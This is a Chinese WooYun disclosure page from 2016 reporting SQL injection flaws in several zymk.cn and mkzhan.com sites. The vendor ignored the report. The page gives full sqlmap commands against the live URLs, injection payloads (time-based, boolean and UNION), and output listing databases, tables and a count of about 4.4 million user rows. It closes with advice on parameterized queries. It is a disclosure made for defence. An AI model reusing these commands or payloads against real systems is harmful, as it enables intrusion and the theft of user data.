当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0177335

漏洞标题:知音漫客多个站点存在SQL注入含主站(涉及450W用户信息)

相关厂商:zymk.cn

漏洞作者: 路人甲

提交时间:2016-02-21 09:30

修复时间:2016-02-26 09:40

公开时间:2016-02-26 09:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-02-21: 细节已通知厂商并且等待厂商处理中
2016-02-26: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

当用户可控的数据未经过恰当的处理就进入了数据库执行的SQL语句中时,就可能存在SQL注入漏洞。攻击者可以定制特定的字符来改变SQL语句的语义。通过SQL注入漏洞可以造成多种危害,包括读取或者修改应用的数据,改变程序逻辑,提升权限和执行操作系统命令等。

详细说明:

1.
450W用户信息
poc:

python sqlmap.py -u http://www.mkzhan.com/index.php/read/showTucao/ --data="chapterid=122203&page=1" -D comic  -T mk_user --count


数据库相关信息证明
仅证明,未查看存储任何用户信息。

➜  sqlmap git:(master) ✗ python sqlmap.py -u http://www.mkzhan.com/index.php/read/showTucao/ --data="chapterid=122203&page=1" -D comic  -T mk_user --count
_
___ ___| |_____ ___ ___ {1.0-dev-f54b25c}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 19:54:09
[19:54:09] [INFO] resuming back-end DBMS 'mysql'
[19:54:09] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: chapterid (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: chapterid=122203 AND (SELECT * FROM (SELECT(SLEEP(5)))tuMI)&page=1
Type: UNION query
Title: Generic UNION query (NULL) - 9 columns
Payload: chapterid=122203 UNION ALL SELECT NULL,NULL,CONCAT(0x716a6b7a71,0x7253797250426357596c4e634564664677465a6a54795a6546676b437a455768766c4b6a634a4377,0x71717a7671),NULL,NULL,NULL,NULL,NULL,NULL-- -&page=1
---
[19:54:09] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.17
back-end DBMS: MySQL 5.0.12
Database: comic
+---------+---------+
| Table | Entries |
+---------+---------+
| mk_user | 4419339 |
+---------+---------+


漏洞证明:

2.
商城
http://shop.zymk.cn/index.php/Goodstest/order
post cart_id%5B%5D=444671&number%5B444671%5D=2
需要带有效cookie
参数存在sql注入。poc:

12:44:20] [INFO] resuming back-end DBMS 'mysql'
[12:44:20] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cart_id[] (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: cart_id[]=444671 AND (SELECT * FROM (SELECT(SLEEP(5)))wQpB)&number[444671]=2
---
[12:44:21] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.12
[12:44:21] [INFO] fetching tables for database: 'mkshop'
[12:44:21] [INFO] fetching number of tables for database 'mkshop'
[12:44:21] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
[12:44:24] [WARNING] it is very important to not stress the network adapter during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
1
[12:44:47] [INFO] adjusting time delay to 1 second due to good response times
89
[12:44:53] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
activity_num
[12:46:01] [INFO] retrieved: ecs_account_log
[12:47:20] [INFO] retrieved: ecs_ad
[12:47:31] [INFO] retrieved: ecs_ad_custom
[12:48:16] [INFO] retrieved: ecs_ad_position
[12:49:09] [INFO] retrieved: ecs_admin_action
[12:50:10] [INFO] retrieved: ecs_admin_log
[12:50:39] [INFO] retrieved: ecs_admin_message
[12:51:23] [INFO] retrieved: ec
[12:51:55] [WARNING] turning off pre-connect mechanism because of connection time out(s)
s_admin_user
[12:52:25] [INFO] retrieved: ecs_adsense
[12:53:01] [INFO] retrieved: ecs_a


3.
需要带自己的cookie.。核心数据库450W用户信息。poc:

➜  sqlmap git:(master) ✗ python sqlmap.py -u http://www.mkzhan.com/index.php/comic/addmonthticket/ --data="comicid=70434&userid=6200692" --cookie="PH" --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-f54b25c}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 19:57:35
[19:57:35] [INFO] resuming back-end DBMS 'mysql'
[19:57:35] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: comicid (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: comicid=70434 AND 8726=8726&userid=6200692
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: comicid=70434 AND (SELECT * FROM (SELECT(SLEEP(5)))ZInn)&userid=6200692
---
[19:57:35] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.17
back-end DBMS: MySQL 5.0.12
[19:57:35] [INFO] fetching database names
[19:57:35] [INFO] fetching number of databases
[19:57:35] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[19:57:35] [INFO] retrieved: 3
[19:57:37] [INFO] retrieved: information_schema
[19:57:54] [INFO] retrieved: comic
[19:57:58] [INFO] retrieved: test
available databases [3]:
[*] comic
[*] information_schema
[*] test

修复方案:

最有效的防御SQL注入的方式是在所有的数据库操作上使用参数化查询(也被称为预编译)。预编译通过两步把可能存在危害的数据整合到SQL查询中。第一步,应用定义查询语句的结构,在语句中预留位置给用户输入。第二部,应用把每个位置需要的用户输入传递给数据库。因为第一步中,应用已经定义了语句的结构,数据库已经对语法进行了编译,第二部中及时传入恶意的用户输入也无法影响SQL语句的语意,从而避免了SQL注入攻击。对于不同的数据库和编程语言需要查询文档,寻找合适的api。强烈建议使用参数化处理SQL语句中的每一个变量。需要注意的是以下一些防御SQL注入的方式并不总是有效的,所以不建议大家使用以下的方式防御SQL注入:一种常见的方式是在用户数据拼接到SQL语句之前转义其中的单引号。这是为了避免用户插入单引号,改变了SQL的语法。但是如果变量类型是数字型,这种防御就可能失败。因为SQL语句结构中并没有单引号包裹变量的话,仅仅使用空格就可以改变语法结构。另一种常见的防御方案是使用存储过程。尽管存储过程提供了很多安全特性,但是并不能保证防御SQL注入。当存储过程中可以动态创建SQL结构的时候就可能会发生SQL注入。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-02-26 09:40

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无